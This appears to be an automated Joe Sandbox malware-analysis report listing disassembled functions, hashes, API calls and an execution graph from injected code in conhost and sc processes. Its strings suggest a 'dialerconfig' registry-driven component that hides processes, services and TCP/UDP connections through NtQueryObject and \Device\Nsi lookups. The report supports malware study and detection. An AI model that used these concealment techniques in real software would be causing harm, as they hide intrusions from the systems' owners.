                                            Function 000001BCD1C57960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                            • String ID:
                                            • API String ID: 2933794660-0
                                            • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction ID: 5a456b094f7aa9961e2d30b1efa271ae25bb3750d13dbcef16db914297969ccb
                                            • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction Fuzzy Hash: AD11F136710F558AEB00DFA2E8553A833A4F799768F841E35DAAD467A4DF78C19483C0
                                            Function 000001BCD1C5253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction ID: 06eb67675ddcb6b688bd96a6737b65d5e075df80e6ebe714ed00dbbc85cc9470
                                            • Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction Fuzzy Hash: 8071493A20078186F665DEABD8543EE7AE4F3C9B84F940036DE8A53B99DF35C64587C0
                                            Function 000001BCD1A49E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: CallTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3163161869-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 7621f11ec4b82eb0b9b88a2f1633353eb926fb48888cacc37e74c0432fddc889
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: 7761497A704B848AEB20DFA6D4403DD77A0FB88B98F144229EF4D17B99DB38D555C780
                                            Function 000001BCD1C52330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction ID: 9ac073f59158b3e311a714802218aa4bcaa05ae54c646f602c4069b6be08b812
                                            • Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction Fuzzy Hash: B1519B3A208781C1F6659EABA4583EEBEA1F3D5784FC50135DEDA03B99DB39C50587C0
                                            Function 000001BCD1C626F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: ErrorFileLastWrite
                                            • String ID: U
                                            • API String ID: 442123175-4171548499
                                            • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction ID: 99f1cd211d0daf3aed4a0f1ba7825464446bba2b73d8ad5350d0e14e54517ab8
                                            • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction Fuzzy Hash: 14418E36615A8082EB209FA7E8447EA77A0F7D8794F804031EE8D87794EB7CC541C7C0
                                            Function 000001BCD1C594A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: ExceptionFileHeaderRaise
                                            • String ID: csm
                                            • API String ID: 2573137834-1018135373
                                            • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction ID: 211e18fc2e298a42b0e5179e3e94b04c5711369d6f1f8bea9e5615c415c63c6a
                                            • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction Fuzzy Hash: 49112B36215B8082EB618F16E4403997BE5F7C8B98F984264EECD07768DF3CC551CB80
                                            Function 000001BCD1A47356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: ierarchy Descriptor'$riptor at (
                                            • API String ID: 592178966-758928094
                                            • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction ID: 84601581766406e4103af2e752caa392bd9f2e546794b2924008d1afd2920d6e
                                            • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction Fuzzy Hash: 79E04F61741B44D0EB018FA2E8502D833A09FA9B64B489122995C46311EB3CD1E9C380
                                            Function 000001BCD1A473B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: Locator'$riptor at (
                                            • API String ID: 592178966-4215709766
                                            • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction ID: e2940e26e5169b26626d92a68424b96ffc768aab94a2daa79b8947f8330aec09
                                            • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction Fuzzy Hash: F6E08671701B44D0EF018FA2E4501D87360EB99B54B889132D94C46311EB3CD1E5C380
                                            Function 000001BCD1C51BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID:
                                            • API String ID: 756756679-0
                                            • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction ID: 6fd7da8fd15465ed27910d1843c648c4532b220a094719aab574ed57b121e072
                                            • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction Fuzzy Hash: 5E112879601B5481FA549FA7A8082A977A1FBC9FC0F984038DE8D97766DF79D44283C0
                                            Function 000001BCD1C51268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Heap$AllocProcess
                                            • String ID:
                                            • API String ID: 1617791916-0
                                            • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction ID: 9384612523e30859452afdf899b1ea860597f00ab0cc630df4abd722d2feffce
                                            • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction Fuzzy Hash: D9E03939601614C6EB048BA3D80838A36E1EBC9B06F848024C98947361DF7D8499C7D0

                                            Execution Graph

                                            Execution Coverage:0.7%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:0%
                                            Total number of Nodes:73
                                            Total number of Limit Nodes:2
                                            execution_graph 14891 1afbc541abc 14896 1afbc541628 GetProcessHeap 14891->14896 14893 1afbc541ad2 Sleep SleepEx 14894 1afbc541acb 14893->14894 14894->14893 14895 1afbc541598 StrCmpIW StrCmpW 14894->14895 14895->14894 14897 1afbc541648 __std_exception_copy 14896->14897 14941 1afbc541268 GetProcessHeap 14897->14941 14899 1afbc541650 14900 1afbc541268 2 API calls 14899->14900 14901 1afbc541661 14900->14901 14902 1afbc541268 2 API calls 14901->14902 14903 1afbc54166a 14902->14903 14904 1afbc541268 2 API calls 14903->14904 14905 1afbc541673 14904->14905 14906 1afbc54168e RegOpenKeyExW 14905->14906 14907 1afbc5418a6 14906->14907 14908 1afbc5416c0 RegOpenKeyExW 14906->14908 14907->14894 14909 1afbc5416ff RegOpenKeyExW 14908->14909 14910 1afbc5416e9 14908->14910 14912 1afbc541723 14909->14912 14913 1afbc54173a RegOpenKeyExW 14909->14913 14945 1afbc5412bc RegQueryInfoKeyW 14910->14945 14956 1afbc54104c RegQueryInfoKeyW 14912->14956 14916 1afbc541775 RegOpenKeyExW 14913->14916 14917 1afbc54175e 14913->14917 14918 1afbc5417b0 RegOpenKeyExW 14916->14918 14919 1afbc541799 14916->14919 14921 1afbc5412bc 13 API calls 14917->14921 14923 1afbc5417d4 14918->14923 14924 1afbc5417eb RegOpenKeyExW 14918->14924 14922 1afbc5412bc 13 API calls 14919->14922 14925 1afbc54176b RegCloseKey 14921->14925 14926 1afbc5417a6 RegCloseKey 14922->14926 14927 1afbc5412bc 13 API calls 14923->14927 14928 1afbc541826 RegOpenKeyExW 14924->14928 14929 1afbc54180f 14924->14929 14925->14916 14926->14918 14930 1afbc5417e1 RegCloseKey 14927->14930 14932 1afbc541861 RegOpenKeyExW 14928->14932 14933 1afbc54184a 14928->14933 14931 1afbc54104c 5 API calls 14929->14931 14930->14924 14936 1afbc54181c RegCloseKey 14931->14936 14934 1afbc541885 14932->14934 14935 1afbc54189c RegCloseKey 14932->14935 14937 1afbc54104c 5 API calls 14933->14937 14938 1afbc54104c 5 API calls 14934->14938 14935->14907 14936->14928 14939 1afbc541857 RegCloseKey 14937->14939 14940 1afbc541892 RegCloseKey 14938->14940 14939->14932 14940->14935 14962 1afbc556168 14941->14962 14943 1afbc541283 GetProcessHeap 14944 1afbc5412ae __std_exception_copy 14943->14944 14944->14899 14946 1afbc541327 GetProcessHeap 14945->14946 14947 1afbc54148a RegCloseKey 14945->14947 14951 1afbc54133e __std_exception_copy 14946->14951 14947->14909 14948 1afbc541476 GetProcessHeap HeapFree 14948->14947 14949 1afbc541352 RegEnumValueW 14949->14951 14951->14948 14951->14949 14952 1afbc5413d3 GetProcessHeap 14951->14952 14953 1afbc54141e lstrlenW GetProcessHeap 14951->14953 14954 1afbc5413f3 GetProcessHeap HeapFree 14951->14954 14955 1afbc541443 StrCpyW 14951->14955 14963 1afbc54152c 14951->14963 14952->14951 14953->14951 14954->14953 14955->14951 14957 1afbc5411b5 RegCloseKey 14956->14957 14958 1afbc5410bf __std_exception_copy 14956->14958 14957->14913 14958->14957 14959 1afbc5410cf RegEnumValueW 14958->14959 14960 1afbc54114e GetProcessHeap 14958->14960 14961 1afbc54116e GetProcessHeap HeapFree 14958->14961 14959->14958 14960->14958 14961->14958 14964 1afbc54157c 14963->14964 14965 1afbc541546 14963->14965 14964->14951 14965->14964 14966 1afbc541565 StrCmpW 14965->14966 14967 1afbc54155d StrCmpIW 14965->14967 14966->14965 14967->14965 14968 1afbc51273c 14970 1afbc51276a 14968->14970 14969 1afbc512858 LoadLibraryA 14969->14970 14970->14969 14971 1afbc5128d4 14970->14971

                                            Executed Functions

                                            Function 000001AFBC54328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                            • String ID:
                                            • API String ID: 1683269324-0
                                            • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction ID: 8bc18eb3f378c8033c2140373a5bee38b5749a0c5978ce05d5ead36886f497f0
                                            • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction Fuzzy Hash: 8011797072224182FB64DBA1E8093FB22B5AB5E747F50413CE946836B8EF78C047C232
                                            Function 000001AFBC541ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                              • Part of subcall function 000001AFBC541628: GetProcessHeap.KERNEL32 ref: 000001AFBC541633
                                              • Part of subcall function 000001AFBC541628: HeapAlloc.KERNEL32 ref: 000001AFBC541642
                                              • Part of subcall function 000001AFBC541628: RegOpenKeyExW.ADVAPI32 ref: 000001AFBC5416B2
                                              • Part of subcall function 000001AFBC541628: RegOpenKeyExW.ADVAPI32 ref: 000001AFBC5416DF
                                              • Part of subcall function 000001AFBC541628: RegCloseKey.ADVAPI32 ref: 000001AFBC5416F9
                                              • Part of subcall function 000001AFBC541628: RegOpenKeyExW.ADVAPI32 ref: 000001AFBC541719
                                              • Part of subcall function 000001AFBC541628: RegCloseKey.ADVAPI32 ref: 000001AFBC541734
                                              • Part of subcall function 000001AFBC541628: RegOpenKeyExW.ADVAPI32 ref: 000001AFBC541754
                                              • Part of subcall function 000001AFBC541628: RegCloseKey.ADVAPI32 ref: 000001AFBC54176F
                                              • Part of subcall function 000001AFBC541628: RegOpenKeyExW.ADVAPI32 ref: 000001AFBC54178F
                                              • Part of subcall function 000001AFBC541628: RegCloseKey.ADVAPI32 ref: 000001AFBC5417AA
                                              • Part of subcall function 000001AFBC541628: RegOpenKeyExW.ADVAPI32 ref: 000001AFBC5417CA
                                            • Sleep.KERNEL32 ref: 000001AFBC541AD7
                                            • SleepEx.KERNELBASE ref: 000001AFBC541ADD
                                              • Part of subcall function 000001AFBC541628: RegCloseKey.ADVAPI32 ref: 000001AFBC5417E5
                                              • Part of subcall function 000001AFBC541628: RegOpenKeyExW.ADVAPI32 ref: 000001AFBC541805
                                              • Part of subcall function 000001AFBC541628: RegCloseKey.ADVAPI32 ref: 000001AFBC541820
                                              • Part of subcall function 000001AFBC541628: RegOpenKeyExW.ADVAPI32 ref: 000001AFBC541840
                                              • Part of subcall function 000001AFBC541628: RegCloseKey.ADVAPI32 ref: 000001AFBC54185B
                                              • Part of subcall function 000001AFBC541628: RegOpenKeyExW.ADVAPI32 ref: 000001AFBC54187B
                                              • Part of subcall function 000001AFBC541628: RegCloseKey.ADVAPI32 ref: 000001AFBC541896
                                              • Part of subcall function 000001AFBC541628: RegCloseKey.ADVAPI32 ref: 000001AFBC5418A0
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CloseOpen$HeapSleep$AllocProcess
                                            • String ID:
                                            • API String ID: 1534210851-0
                                            • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction ID: 6791f70440dd9c85b212411f21da8e6c93542044ccda2571d40173d2ccca872d
                                            • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction Fuzzy Hash: B7310F7131264151FB54DBA6DA423FB13B4AB4EBC6F045439DE0A876A9EE20C453C632
                                            Function 000001AFBC543844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 57 1afbc543844-1afbc54384f 58 1afbc543851-1afbc543864 StrCmpNIW 57->58 59 1afbc543869-1afbc543870 57->59 58->59 60 1afbc543866 58->60 60->59
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: dialer
                                            • API String ID: 0-3528709123
                                            • Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
                                            • Instruction ID: c13be4a4ba17b8363e8091d55159ce93ea0a86808251f92e4153da023aab8e61
                                            • Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
                                            • Instruction Fuzzy Hash: 01D05E7531324586FB54DFE6C8C47B26370EB1D746F884038C90003264DB18C98F9621
                                            Function 000001AFBC51273C Relevance: 1.7, APIs: 1, Instructions: 187libraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID:
                                            • API String ID: 1029625771-0
                                            • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction ID: c0aca677dcff362fc04514436721e0fd69b939fc757799e7d7fd64fb2f618a83
                                            • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction Fuzzy Hash: 85611232B0229887DB54CF59D8447BEB3A2F759F96F188139CE5903788DA38D893C721

                                            Non-executed Functions

                                            Function 000001AFBC542B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 367 1afbc542b2c-1afbc542ba5 call 1afbc562ce0 370 1afbc542ee0-1afbc542f03 367->370 371 1afbc542bab-1afbc542bb1 367->371 371->370 372 1afbc542bb7-1afbc542bba 371->372 372->370 373 1afbc542bc0-1afbc542bc3 372->373 373->370 374 1afbc542bc9-1afbc542bd9 GetModuleHandleA 373->374 375 1afbc542bdb-1afbc542beb call 1afbc556090 374->375 376 1afbc542bed 374->376 377 1afbc542bf0-1afbc542c0e 375->377 376->377 377->370 381 1afbc542c14-1afbc542c33 StrCmpNIW 377->381 381->370 382 1afbc542c39-1afbc542c3d 381->382 382->370 383 1afbc542c43-1afbc542c4d 382->383 383->370 384 1afbc542c53-1afbc542c5a 383->384 384->370 385 1afbc542c60-1afbc542c73 384->385 386 1afbc542c83 385->386 387 1afbc542c75-1afbc542c81 385->387 388 1afbc542c86-1afbc542c8a 386->388 387->388 389 1afbc542c8c-1afbc542c98 388->389 390 1afbc542c9a 388->390 391 1afbc542c9d-1afbc542ca7 389->391 390->391 392 1afbc542d9d-1afbc542da1 391->392 393 1afbc542cad-1afbc542cb0 391->393 396 1afbc542ed2-1afbc542eda 392->396 397 1afbc542da7-1afbc542daa 392->397 394 1afbc542cc2-1afbc542ccc 393->394 395 1afbc542cb2-1afbc542cbf call 1afbc54199c 393->395 399 1afbc542d00-1afbc542d0a 394->399 400 1afbc542cce-1afbc542cdb 394->400 395->394 396->370 396->385 401 1afbc542dbb-1afbc542dc5 397->401 402 1afbc542dac-1afbc542db8 call 1afbc54199c 397->402 407 1afbc542d0c-1afbc542d19 399->407 408 1afbc542d3a-1afbc542d3d 399->408 400->399 406 1afbc542cdd-1afbc542cea 400->406 403 1afbc542df5-1afbc542df8 401->403 404 1afbc542dc7-1afbc542dd4 401->404 402->401 411 1afbc542e05-1afbc542e12 lstrlenW 403->411 412 1afbc542dfa-1afbc542e03 call 1afbc541bbc 403->412 404->403 410 1afbc542dd6-1afbc542de3 404->410 413 1afbc542ced-1afbc542cf3 406->413 407->408 414 1afbc542d1b-1afbc542d28 407->414 415 1afbc542d3f-1afbc542d49 call 1afbc541bbc 408->415 416 1afbc542d4b-1afbc542d58 lstrlenW 408->416 418 1afbc542de6-1afbc542dec 410->418 424 1afbc542e14-1afbc542e1e 411->424 425 1afbc542e35-1afbc542e3f call 1afbc543844 411->425 412->411 430 1afbc542e4a-1afbc542e55 412->430 422 1afbc542d93-1afbc542d98 413->422 423 1afbc542cf9-1afbc542cfe 413->423 426 1afbc542d2b-1afbc542d31 414->426 415->416 415->422 419 1afbc542d7b-1afbc542d8d call 1afbc543844 416->419 420 1afbc542d5a-1afbc542d64 416->420 429 1afbc542dee-1afbc542df3 418->429 418->430 419->422 434 1afbc542e42-1afbc542e44 419->434 420->419 431 1afbc542d66-1afbc542d79 call 1afbc54152c 420->431 422->434 423->399 423->413 424->425 435 1afbc542e20-1afbc542e33 call 1afbc54152c 424->435 425->434 426->422 436 1afbc542d33-1afbc542d38 426->436 429->403 429->418 438 1afbc542ecc-1afbc542ed0 430->438 439 1afbc542e57-1afbc542e5b 430->439 431->419 431->422 434->396 434->430 435->425 435->430 436->408 436->426 438->396 444 1afbc542e63-1afbc542e7d call 1afbc5485c0 439->444 445 1afbc542e5d-1afbc542e61 439->445 448 1afbc542e80-1afbc542e83 444->448 445->444 445->448 451 1afbc542e85-1afbc542ea3 call 1afbc5485c0 448->451 452 1afbc542ea6-1afbc542ea9 448->452 451->452 452->438 454 1afbc542eab-1afbc542ec9 call 1afbc5485c0 452->454 454->438
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                            • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                            • API String ID: 2119608203-3850299575
                                            • Opcode ID: cc1c2f5be02bb854c6362e19e3c2d8aa9963211729cf9709ea9c23d7fce6e41e
                                            • Instruction ID: efccf160133ec07a6e3387ab76690a951d92aaf2863204c9b36cefdade2eae8c
                                            • Opcode Fuzzy Hash: cc1c2f5be02bb854c6362e19e3c2d8aa9963211729cf9709ea9c23d7fce6e41e
                                            • Instruction Fuzzy Hash: 95B18E72312A6882EB54CFA5C8407FA63B5F74AB87F44503ADE0953B98DE34C843C761
                                            Function 000001AFBC547D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                            • String ID:
                                            • API String ID: 3140674995-0
                                            • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction ID: baceb06ff1686b3e21e352b0d99ecbcbc7972f2b7545da8f50287eeeca3c8b25
                                            • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction Fuzzy Hash: 24311A76316A808AEB60DFA0E8407EE7374F789745F44442ADA4E57B98EF38C54AC721
                                            Function 000001AFBC54D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                            • String ID:
                                            • API String ID: 1239891234-0
                                            • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction ID: c61dd33efdd194d987f966bac02ce37e44d7be129a668e2b20a0abe7bf703067
                                            • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction Fuzzy Hash: 95313836315B8086EB60DB65E8403EE73B4F78A795F50012AEA9D43B99DF38C547CB11
                                            Function 000001AFBC541628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                            • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                            • API String ID: 106492572-2879589442
                                            • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction ID: 7afa28960a6d2a9bcc99902a637516fabffadb1fc1bdf78b9965389f22877181
                                            • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction Fuzzy Hash: 66712C7A312A5086EB10DFA2E8417EB2374F78AB9AF401129DD4E47B28EF34C447C351
                                            Function 000001AFBC5412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                            • String ID: d
                                            • API String ID: 2005889112-2564639436
                                            • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction ID: 3afbc655a34272a428efe205737c69884a1f52e911e7506b55e34058cb9b6a84
                                            • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
